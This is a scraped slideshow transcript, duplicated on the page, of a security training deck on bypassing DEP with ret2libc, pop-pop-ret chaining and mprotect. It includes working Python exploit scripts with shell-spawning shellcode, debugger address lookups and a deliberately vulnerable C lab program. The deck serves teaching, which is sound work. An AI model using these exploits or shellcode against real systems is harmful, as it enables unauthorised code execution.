Successfully reported this slideshow.

05 - Bypassing DEP, or why ASLR matters

2

Share

Loading in …3
×
1 of 31
1 of 31

05 - Bypassing DEP, or why ASLR matters

2

Share

Description

* How to bypass X^W
* Why ASLR matters

Transcript

  1. 1. Bypassing DEP Why ASLR matters Alex Moneger Security Engineer Why ASLR matters
  2. 2. Refresher  Classic buffer overflows store the shellcode on the stack  Shellcode is executed on the stack  This requires the stack to be executable  In modern Oss, stack is not executable, because it is a data section  Can we still exploit this? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
  3. 3. Ret2libc © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
  4. 4. Approach  Consider ASLR is disabled. What impact does this have?  ASLR disabled = predictable addresses  What can we do with predictable addresses?  Maybe we can call them from the stack?  What do we control which allows hijacking of control flow?  SEIP (or local function pointer) again! © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
  5. 5. Concepts  We control SEIP (where we redirect the control flow to)  But can we control arguments passed to the function?  How are arguments passed to functions? On the stack!  Function expects it’s first argument at ebp+0x8  Where are ebp and esp at control flow hijack time? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
  6. 6. Stack registers  Function epilogue (return from vulnerable function) mov esp,ebp pop ebp ret  Function prologue (function we control) push ebp mov ebp,esp  After the prologue of our function esp = ebp  esp = 0xa, ebp = 0xb, sebp = 0x41414141 1. esp = 0xb, ebp = 0xb, sebp = 0x41414141 2. esp = 0xb, ebp = 0x41414141 3. esp = 0xb, ebp = 0x41414141 4. esp = 0xb, ebp = 0xb © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
  7. 7. What it looks like after function prologue  esp = ebp  Function expects first arg to be at ebp + 0x8  Function expects SEIP at ebp + 0x4  Our stack frame at entry of our controlled function looks like this: arg… arg1 SEIP Func 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 EBP+0x8 EBP+0x4 EBP ESP © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
  8. 8. Libc maybe?  So we know we can call a function with arguments  What library provides all core components? Libc!  Let’s use functions in libc to exploit our program  A Shell would be nice, let’s use the system() function  System() takes one argument, the binary to run, “/bin/sh” would do it? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
  9. 9. Stack System() example  We need the address of system()  We need the address of something pointing to “/bin/sh”  How do we get a random string in our binary: 1. Environment variables 2. “/bin/sh” string is in libc address space &”/bin/sh” JUNK &system 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 EBP+0x8 EBP+0x4 EBP ESP © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
  10. 10. Getting addresses cisco@kali:~/src/seccon/ch5$ invoke -d ch5 $(python -c 'print "A"*128') Reading symbols from /home/cisco/src/seccon/ch5/ch5...done. gdb$ break main Breakpoint 1 at 0x8048466: file ch5.c, line 12. gdb$ r Breakpoint 1, main (argc=2, argv=0xbffffdb4) at ch5.c:12 gdb$ p/x &system $1 = 0xb7e9bf10 gdb$ p/x &exit $2 = 0xb7e8f550 gdb$ find 0xb7e9bf10,+99999999,"/bin/sh" 0xb7f9a4f4 warning: Unable to access target memory at 0xb7fc15fc, halting search. 1 pattern found. gdb$ q © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
  11. 11. The exploit cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os import struct as s target = "ch5" overflow_len = 112 system_addr = 0xb7e9bf10 exit_addr = 0xb7e8f550 sh_addr = 0xb7f9a4f4 target_path = os.path.abspath(target) ex = 'A'*overflow_len # Hijack flow to system() ex += s.pack("<I", 0xb7e9bf10) # SEIP in system() context, be clean, call exit() ex += s.pack("<I", 0xb7e8f550) # Address of "/bin/sh" ex += s.pack("<I", 0xb7f9a4f4) os.execve(target_path, (target_path, ex), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
  12. 12. What it does  Hijacks flow to system() in libc  Passes the address of “/bin/sh” as argv  Puts exit() address as return address of system(). Exit cleanly cisco@kali:~/src/seccon/ch5$ invoke ./ch5.py $ exit © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
  13. 13. Chaining calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
  14. 14. 1 functions call, come on…  How could you chain function calls? You need to be able to: 1. Remove previous arguments from the stack 2. Return to next function  Introduce the pop;pop;ret construct: 1. Remember pop? It allows to control ESP, thus removing elements from the stack 2. Ret effectively pops eip and jumps to it.  Maybe we could use as many pops as function arguments and return after that? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
  15. 15. pop;pop;ret construct  The number of “pop reg” determines how many arguments are removed  Allows to chain function calls  Need to find pop;pop;ret &next_func arg1 &pop;ret &next_func arg2 arg1 &pop;pop;ret &func ret pop reg ret pop reg pop reg © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
  16. 16. Finding pop;pop;ret  Find all rets in a binary, and disassemble backwards  Gives you an interesting set of elements to work with cisco@kali:~$ objdump -d -j .text -M intel /lib/libc.so.6 | grep ret -B 3 > ch5.ggt cisco@kali:~$ head ch5.ggt 16c60: 55 push ebp 16c61: 89 e5 mov ebp,esp 16c63: 5d pop ebp 16c64: c3 ret -- 16ce7: 8b 7d fc mov edi,DWORD PTR [ebp-0x4] 16cea: 89 ec mov esp,ebp 16cec: 5d pop ebp 16ced: c3 ret © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
  17. 17. Nice ppr  Avoid: 1. leave instructions before the ret (;) fror now) 2. Pop ebp if possible  They modify the stack  A nice one, which doesn’t change the stack: cisco@kali:~$ egrep "pop[[:space:]]+eax" -A 2 -B 1 ch5.ggt | tail -n 4 d7f21: 59 pop ecx d7f22: 58 pop eax d7f23: c3 ret © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
  18. 18. Running anything © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
  19. 19. I want to use my shellcode  What if you want something that requires too much complexity?  Something for which you already have a shellcode maybe  Can I execute a shellcode ret2libc style?  You certainly can, under some classes of bugs © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
  20. 20. Mprotect()  Libc exposes mprotect()  Allows to set permissions for a page for memory  Prototype: SYNOPSIS #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); ret  Has to be aligned on page boundary: cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.py | grep stack stack_page = buf_addr & -0x1000 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
  21. 21. ret2mprotect  Let’s use mprotect() to change the permissions of the stack to RWE  Then jump to our shellcode  Example: shellcode address: 0xbffffce8:  Page address: 0xbffffce8 & -0x1000 = 0xbffff000  Mprotect(0xbffff000, 0x1000, 0x7), RWE = 0x7  Now, that page of stack is RWE  Jump to shellcode as usual => 0xbffffce8 perms size &stack_page &shellcode &mprotect 0x41414141 0x41414141 0x41414141 0x41414141 Shellcode © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
  22. 22. Constraints  Vulnerabilities have to allow null bytes, because: 1. Page boundaries contain null bytes by definition 2. Size is a 32 bit integer 3. Permissions is a 32 bit integer  All above contain null bytes © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
  23. 23. Can you spot it? cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.c #include <stdlib.h> #include <stdio.h> #include <string.h> struct stuff { unsigned int len; char data[0x64]; }; char * vuln(FILE *fd) { struct stuff s; memset(&(s.len), 0, sizeof(s.len)); memset(&(s.data), 0, sizeof(s.data)); fread(&(s.len), 0x4, 0x1, fd); printf("Data is %d bytes longn", s.len); fread(&(s.data), s.len, 0x1, fd); printf("Got data from file: %sn", &(s.data)); char *p = &s + 0x4; return p; } int main(int argc, char **argv) { if (argc != 2) { exit(1); } FILE *fd = fopen(argv[1], "r"); char *p = vuln(fd); fclose(fd); return 0; © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23 }
  24. 24. Compile and run  Looks like we control length and data cisco@kali:~/src/seccon/ch5$ cc ch5-mp.c -fno-stack-protector -U_fortify_SOURCE -g -o ch5-mp cisco@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x3)+"ABCD"' > /tmp/ cisco@kali:~/src/seccon/ch5$ ./ch5-mp /tmp/k Data is 3 bytes long Got data from file: ABC dahtah@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x100)+"A"*0x74+"B"*4' > /tmp/f dahtah@kali:~/src/seccon/ch5$ invoke ch5-mp /tmp/f Data is 256 bytes long Got data from file: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAABBBB ?@?????????跐??P? Segmentation fault cisco@kali:~/src/seccon/ch5$ dmesg | tail -n 1 [971014.298327] ch5-mp[27676]: segfault at 42424242 ip 42424242 sp bffffd60 error 14 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
  25. 25. GDB time  We need our buffer address  We need libc mprotect address cisco@kali:~/src/seccon/ch5$ invoke -d ch5-mp /tmp/f Reading symbols from /home/cisco/src/seccon/ch5/ch5-mp...done. gdb$ break vuln Breakpoint 1 at 0x8048545: file ch5-mp.c, line 12. gdb$ r Breakpoint 1, vuln (fd=0x804a008) at ch5-mp.c:12 gdb$ p/x &(s.data) $3 = 0xbffffce8 gdb$ p/x &mprotect $2 = 0xb7f31e00 gdb$ q © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
  26. 26. Putting it together target = "ch5-mp" target_file = "/tmp/f" overflow_len = 0x74 mprotect_addr = 0xb7f31e00 buf_addr = 0xbffffce8 stack_page = buf_addr & -0x1000 page_size = 0x1000 rwe_perms = 0x7 target_path = os.path.abspath(target) # setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" "x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" "x2fx2fx62x69x89xe3x89xd1xcdx80") ex = sc ex += 'A'*(overflow_len - len(sc)) ex += s.pack("<I", mprotect_addr) ex += s.pack("<I", buf_addr) ex += s.pack("<I", stack_page) ex += s.pack("<I", page_size) ex += s.pack("<I", rwe_perms) f = open(target_file, "wb") f.write(s.pack("<I", len(ex))) f.write(ex) f.close() os.execve(target_path, (target_path, target_file), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
  27. 27. Test cisco@kali:~/src/seccon/ch5$ sudo sysctl -a | grep -i randomize kernel.randomize_va_space = 0 cisco@kali:~/src/seccon/ch5$ readelf -l ch5-mp | grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 cisco@kali:~/src/seccon/ch5$ invoke ch5-mp.py Data is 136 bytes long Got data from file: j1X?̀?É?jFX̀? Rhn/shh//bi???̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ exit  We changed a stack page to RWE using mprotect  We redirected to our shellcode © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
  28. 28. Take away © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
  29. 29. Conclusion  DEP is trivial to bypass without ASLR  You can run your shellcode in some circumstances  Mprotect is nice for runtime memory permission changes  Mprotect trick doesn’t work on grsec kernels © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
  30. 30. Exercise © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
  31. 31. Exercise time  Exploit ch5 using standard ret2libc() => call system()  Do the same thing, but print some greeting before your shellcode. Exit cleanly  Pick your favorite shellcode. Exploit ch5-mp using mprotect() trick  Can you make ch5-mp more reliable? How? Hint: what is that useless pointer there for?  Why doesn’t the above work? Read the ABI again ;) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31

Editor's Notes


  • ----- Meeting Notes (28/04/2014 16:14) -----
    make clearer

  • ----- Meeting Notes (28/04/2014 16:14) -----
    Put comment or diagram
  • Description

    * How to bypass X^W
    * Why ASLR matters

    Transcript

    1. 1. Bypassing DEP Why ASLR matters Alex Moneger Security Engineer Why ASLR matters
    2. 2. Refresher  Classic buffer overflows store the shellcode on the stack  Shellcode is executed on the stack  This requires the stack to be executable  In modern Oss, stack is not executable, because it is a data section  Can we still exploit this? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
    3. 3. Ret2libc © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
    4. 4. Approach  Consider ASLR is disabled. What impact does this have?  ASLR disabled = predictable addresses  What can we do with predictable addresses?  Maybe we can call them from the stack?  What do we control which allows hijacking of control flow?  SEIP (or local function pointer) again! © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
    5. 5. Concepts  We control SEIP (where we redirect the control flow to)  But can we control arguments passed to the function?  How are arguments passed to functions? On the stack!  Function expects it’s first argument at ebp+0x8  Where are ebp and esp at control flow hijack time? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
    6. 6. Stack registers  Function epilogue (return from vulnerable function) mov esp,ebp pop ebp ret  Function prologue (function we control) push ebp mov ebp,esp  After the prologue of our function esp = ebp  esp = 0xa, ebp = 0xb, sebp = 0x41414141 1. esp = 0xb, ebp = 0xb, sebp = 0x41414141 2. esp = 0xb, ebp = 0x41414141 3. esp = 0xb, ebp = 0x41414141 4. esp = 0xb, ebp = 0xb © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
    7. 7. What it looks like after function prologue  esp = ebp  Function expects first arg to be at ebp + 0x8  Function expects SEIP at ebp + 0x4  Our stack frame at entry of our controlled function looks like this: arg… arg1 SEIP Func 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 EBP+0x8 EBP+0x4 EBP ESP © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
    8. 8. Libc maybe?  So we know we can call a function with arguments  What library provides all core components? Libc!  Let’s use functions in libc to exploit our program  A Shell would be nice, let’s use the system() function  System() takes one argument, the binary to run, “/bin/sh” would do it? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
    9. 9. Stack System() example  We need the address of system()  We need the address of something pointing to “/bin/sh”  How do we get a random string in our binary: 1. Environment variables 2. “/bin/sh” string is in libc address space &”/bin/sh” JUNK &system 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 EBP+0x8 EBP+0x4 EBP ESP © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
    10. 10. Getting addresses cisco@kali:~/src/seccon/ch5$ invoke -d ch5 $(python -c 'print "A"*128') Reading symbols from /home/cisco/src/seccon/ch5/ch5...done. gdb$ break main Breakpoint 1 at 0x8048466: file ch5.c, line 12. gdb$ r Breakpoint 1, main (argc=2, argv=0xbffffdb4) at ch5.c:12 gdb$ p/x &system $1 = 0xb7e9bf10 gdb$ p/x &exit $2 = 0xb7e8f550 gdb$ find 0xb7e9bf10,+99999999,"/bin/sh" 0xb7f9a4f4 warning: Unable to access target memory at 0xb7fc15fc, halting search. 1 pattern found. gdb$ q © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
    11. 11. The exploit cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os import struct as s target = "ch5" overflow_len = 112 system_addr = 0xb7e9bf10 exit_addr = 0xb7e8f550 sh_addr = 0xb7f9a4f4 target_path = os.path.abspath(target) ex = 'A'*overflow_len # Hijack flow to system() ex += s.pack("<I", 0xb7e9bf10) # SEIP in system() context, be clean, call exit() ex += s.pack("<I", 0xb7e8f550) # Address of "/bin/sh" ex += s.pack("<I", 0xb7f9a4f4) os.execve(target_path, (target_path, ex), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
    12. 12. What it does  Hijacks flow to system() in libc  Passes the address of “/bin/sh” as argv  Puts exit() address as return address of system(). Exit cleanly cisco@kali:~/src/seccon/ch5$ invoke ./ch5.py $ exit © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
    13. 13. Chaining calls © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
    14. 14. 1 functions call, come on…  How could you chain function calls? You need to be able to: 1. Remove previous arguments from the stack 2. Return to next function  Introduce the pop;pop;ret construct: 1. Remember pop? It allows to control ESP, thus removing elements from the stack 2. Ret effectively pops eip and jumps to it.  Maybe we could use as many pops as function arguments and return after that? © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
    15. 15. pop;pop;ret construct  The number of “pop reg” determines how many arguments are removed  Allows to chain function calls  Need to find pop;pop;ret &next_func arg1 &pop;ret &next_func arg2 arg1 &pop;pop;ret &func ret pop reg ret pop reg pop reg © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
    16. 16. Finding pop;pop;ret  Find all rets in a binary, and disassemble backwards  Gives you an interesting set of elements to work with cisco@kali:~$ objdump -d -j .text -M intel /lib/libc.so.6 | grep ret -B 3 > ch5.ggt cisco@kali:~$ head ch5.ggt 16c60: 55 push ebp 16c61: 89 e5 mov ebp,esp 16c63: 5d pop ebp 16c64: c3 ret -- 16ce7: 8b 7d fc mov edi,DWORD PTR [ebp-0x4] 16cea: 89 ec mov esp,ebp 16cec: 5d pop ebp 16ced: c3 ret © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
    17. 17. Nice ppr  Avoid: 1. leave instructions before the ret (;) fror now) 2. Pop ebp if possible  They modify the stack  A nice one, which doesn’t change the stack: cisco@kali:~$ egrep "pop[[:space:]]+eax" -A 2 -B 1 ch5.ggt | tail -n 4 d7f21: 59 pop ecx d7f22: 58 pop eax d7f23: c3 ret © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
    18. 18. Running anything © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
    19. 19. I want to use my shellcode  What if you want something that requires too much complexity?  Something for which you already have a shellcode maybe  Can I execute a shellcode ret2libc style?  You certainly can, under some classes of bugs © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
    20. 20. Mprotect()  Libc exposes mprotect()  Allows to set permissions for a page for memory  Prototype: SYNOPSIS #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); ret  Has to be aligned on page boundary: cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.py | grep stack stack_page = buf_addr & -0x1000 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
    21. 21. ret2mprotect  Let’s use mprotect() to change the permissions of the stack to RWE  Then jump to our shellcode  Example: shellcode address: 0xbffffce8:  Page address: 0xbffffce8 & -0x1000 = 0xbffff000  Mprotect(0xbffff000, 0x1000, 0x7), RWE = 0x7  Now, that page of stack is RWE  Jump to shellcode as usual => 0xbffffce8 perms size &stack_page &shellcode &mprotect 0x41414141 0x41414141 0x41414141 0x41414141 Shellcode © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21
    22. 22. Constraints  Vulnerabilities have to allow null bytes, because: 1. Page boundaries contain null bytes by definition 2. Size is a 32 bit integer 3. Permissions is a 32 bit integer  All above contain null bytes © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 22
    23. 23. Can you spot it? cisco@kali:~/src/seccon/ch5$ pygmentize -g ch5-mp.c #include <stdlib.h> #include <stdio.h> #include <string.h> struct stuff { unsigned int len; char data[0x64]; }; char * vuln(FILE *fd) { struct stuff s; memset(&(s.len), 0, sizeof(s.len)); memset(&(s.data), 0, sizeof(s.data)); fread(&(s.len), 0x4, 0x1, fd); printf("Data is %d bytes longn", s.len); fread(&(s.data), s.len, 0x1, fd); printf("Got data from file: %sn", &(s.data)); char *p = &s + 0x4; return p; } int main(int argc, char **argv) { if (argc != 2) { exit(1); } FILE *fd = fopen(argv[1], "r"); char *p = vuln(fd); fclose(fd); return 0; © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 23 }
    24. 24. Compile and run  Looks like we control length and data cisco@kali:~/src/seccon/ch5$ cc ch5-mp.c -fno-stack-protector -U_fortify_SOURCE -g -o ch5-mp cisco@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x3)+"ABCD"' > /tmp/ cisco@kali:~/src/seccon/ch5$ ./ch5-mp /tmp/k Data is 3 bytes long Got data from file: ABC dahtah@kali:~/src/seccon/ch5$ python -c 'import struct as s; print s.pack("<I", 0x100)+"A"*0x74+"B"*4' > /tmp/f dahtah@kali:~/src/seccon/ch5$ invoke ch5-mp /tmp/f Data is 256 bytes long Got data from file: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAABBBB ?@?????????跐??P? Segmentation fault cisco@kali:~/src/seccon/ch5$ dmesg | tail -n 1 [971014.298327] ch5-mp[27676]: segfault at 42424242 ip 42424242 sp bffffd60 error 14 © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 24
    25. 25. GDB time  We need our buffer address  We need libc mprotect address cisco@kali:~/src/seccon/ch5$ invoke -d ch5-mp /tmp/f Reading symbols from /home/cisco/src/seccon/ch5/ch5-mp...done. gdb$ break vuln Breakpoint 1 at 0x8048545: file ch5-mp.c, line 12. gdb$ r Breakpoint 1, vuln (fd=0x804a008) at ch5-mp.c:12 gdb$ p/x &(s.data) $3 = 0xbffffce8 gdb$ p/x &mprotect $2 = 0xb7f31e00 gdb$ q © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 25
    26. 26. Putting it together target = "ch5-mp" target_file = "/tmp/f" overflow_len = 0x74 mprotect_addr = 0xb7f31e00 buf_addr = 0xbffffce8 stack_page = buf_addr & -0x1000 page_size = 0x1000 rwe_perms = 0x7 target_path = os.path.abspath(target) # setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" "x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" "x2fx2fx62x69x89xe3x89xd1xcdx80") ex = sc ex += 'A'*(overflow_len - len(sc)) ex += s.pack("<I", mprotect_addr) ex += s.pack("<I", buf_addr) ex += s.pack("<I", stack_page) ex += s.pack("<I", page_size) ex += s.pack("<I", rwe_perms) f = open(target_file, "wb") f.write(s.pack("<I", len(ex))) f.write(ex) f.close() os.execve(target_path, (target_path, target_file), os.environ) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 26
    27. 27. Test cisco@kali:~/src/seccon/ch5$ sudo sysctl -a | grep -i randomize kernel.randomize_va_space = 0 cisco@kali:~/src/seccon/ch5$ readelf -l ch5-mp | grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 cisco@kali:~/src/seccon/ch5$ invoke ch5-mp.py Data is 136 bytes long Got data from file: j1X?̀?É?jFX̀? Rhn/shh//bi???̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ exit  We changed a stack page to RWE using mprotect  We redirected to our shellcode © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 27
    28. 28. Take away © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 28
    29. 29. Conclusion  DEP is trivial to bypass without ASLR  You can run your shellcode in some circumstances  Mprotect is nice for runtime memory permission changes  Mprotect trick doesn’t work on grsec kernels © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 29
    30. 30. Exercise © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 30
    31. 31. Exercise time  Exploit ch5 using standard ret2libc() => call system()  Do the same thing, but print some greeting before your shellcode. Exit cleanly  Pick your favorite shellcode. Exploit ch5-mp using mprotect() trick  Can you make ch5-mp more reliable? How? Hint: what is that useless pointer there for?  Why doesn’t the above work? Read the ABI again ;) © 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 31

    Editor's Notes


  • ----- Meeting Notes (28/04/2014 16:14) -----
    make clearer

  • ----- Meeting Notes (28/04/2014 16:14) -----
    Put comment or diagram
  • More Related Content

    Related Books

    Free with a 30 day trial from Scribd

    See all

    ×